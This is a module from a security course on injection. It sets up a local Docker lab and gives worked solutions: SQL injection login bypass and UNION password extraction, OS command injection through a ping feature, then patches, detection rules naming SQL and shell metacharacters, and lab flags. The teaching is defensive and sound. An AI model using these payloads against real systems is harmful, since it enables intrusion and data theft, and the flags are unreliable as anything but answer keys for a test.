OWASP Top 10:2025 Course — Module 5 of 10. Course home · Previous: Module 4 — Cryptographic Failures · Next: Module 6 — Insecure Design

Learn first: what is Injection

Injection (A05:2025) happens whenever untrusted input gets concatenated into a command interpreter — SQL, a shell, an OS command — instead of being passed as data the interpreter can’t confuse with code. This module chains two classic forms together, because in the real world they often show up in the same codebase: SQL injection to break authentication and steal data, then OS command injection to turn that access into arbitrary code execution.

Client input: username = admin'--
                       │
                       ▼
SQL built by string concat:
SELECT * FROM users WHERE username = 'admin'--' AND password = '...'
                                       └─ comments out the password check

Client input: host = "127.0.0.1 & whoami"
                       │
                       ▼
subprocess with shell=True:
ping 127.0.0.1 & whoami      <- shell treats "&" as "run next command"

Parameterized queries and subprocess.run([...], shell=False) with an allowlist close both, without losing any real functionality.

Scenario briefing

You’re pentesting Acme Intranet, a small internal tool with a login form and an admin "ping a host" diagnostic feature — the kind of tool that gets built in an afternoon and never revisited.

Lab setup

  1. Download: Download the lab (zip)
  2. Prerequisites: Docker Engine 20+, Docker Compose v2.
  3. Start it:
    cd owasp-a05-injection-lab
    docker compose up -d --build
  4. Check it worked: curl -s http://127.0.0.1:5000/ should return the login page HTML.

Missions

Mission 1 — SQLi authentication bypass. Log in as admin without knowing the password.

Show solution

Solution — Mission 1

curl -s -c cj.txt -d "username=admin'--&password=anything" http://127.0.0.1:5000/
curl -s -b cj.txt http://127.0.0.1:5000/dashboard

The '-- closes the string and comments out the rest of the query, so the server runs SELECT ... WHERE username='admin'--' AND password='anything' — the password clause never executes. You’re redirected straight to the admin dashboard.

Mission 2 — extract the admin’s real password via UNION. Without using the bypass above, leak the actual admin password through the login form itself.

Show solution

Solution — Mission 2

curl -s -c cj2.txt \
  --data-urlencode "username=' UNION SELECT username, password FROM users WHERE username='admin' --" \
  --data-urlencode "password=x" http://127.0.0.1:5000/
curl -s -b cj2.txt http://127.0.0.1:5000/dashboard | grep -i "Role:"

The UNION branch substitutes the admin’s real password into the page’s "Role" field. Submit FLAG{a05-leaked-admin-password-S3cureAdminPass} once you’ve confirmed the leaked value.

Mission 3 — OS command injection via the admin ping tool. Using an admin session (from either mission above), abuse /ping.

Show solution

Solution — Mission 3

curl -s -b cj.txt -X POST http://127.0.0.1:5000/ping --data-urlencode "host=127.0.0.1 & whoami"

The response includes the ping output and the output of whoami — proof of arbitrary command execution on the server, not just a data leak. Submit FLAG{a05-ran-whoami-as-root} once you see the command’s user in the response.

Mission 4 — patch both bugs. Parameterize the SQL query and replace the shell ping with an allowlisted subprocess.run.

Show solution

Solution — Mission 4

user = conn.execute("SELECT username, role FROM users WHERE username=? AND password=?",
                     (username, password)).fetchone()
import re, subprocess
if not re.fullmatch(r"[A-Za-z0-9.\-]+", host):
    return "Rejected: host must be a plain hostname or IP address.", 400
subprocess.run(["ping", "-c", "1", host], capture_output=True, text=True)

Restart the after service with your changes and run python3 lab.py verify — all four checks pass, and a legitimate host=127.0.0.1 ping still works.

Hints

Fix it + re-test

Two independent, well-known fixes: parameterized queries (never string-format user input into SQL) and shell=False with an explicit allowlist (never pass raw user input to a shell). Re-run all three exploit payloads against the patched app — the SQLi payloads should return "Invalid credentials," and the command-injection payload should return a rejection message with no whoami output, while host=127.0.0.1 alone still works.

Detect it

Log every /ping host argument and every failed login attempt. Alert on SQL metacharacters (', --, UNION) appearing in a username field, and on shell metacharacters (;, &, |, ` `, $`) appearing in any field that reaches a subprocess call — these characters have no legitimate reason to appear in a hostname or username.

Quick self-check

  1. Why does '-- work specifically against string-concatenated SQL but not against a parameterized query?
  2. Why is an allowlist (only letters, digits, dots, dashes) a stronger fix for the ping host than a denylist of dangerous characters?
  3. Why did the password-bypass exploit (mission 1) not actually reveal the admin’s password, while the UNION exploit (mission 2) did?
Show answers

Answers

  1. A parameterized query sends the user’s input as data bound to a placeholder, never as part of the SQL text the database parses — there’s no string for '-- to "break out of," because it’s never concatenated into the query at all.
  2. Denylists have to anticipate every dangerous character or sequence, and attackers are good at finding ones you missed (encoding tricks, newlines, uncommon shell metacharacters); an allowlist only needs to define what a valid hostname looks like, which is a much smaller, stable set of rules.
  3. Mission 1’s '-- comments out the password check entirely, so the database never looks at the password column — it just returns the admin row. Mission 2’s UNION explicitly selects the password column into the response, which is what actually displays it on the page.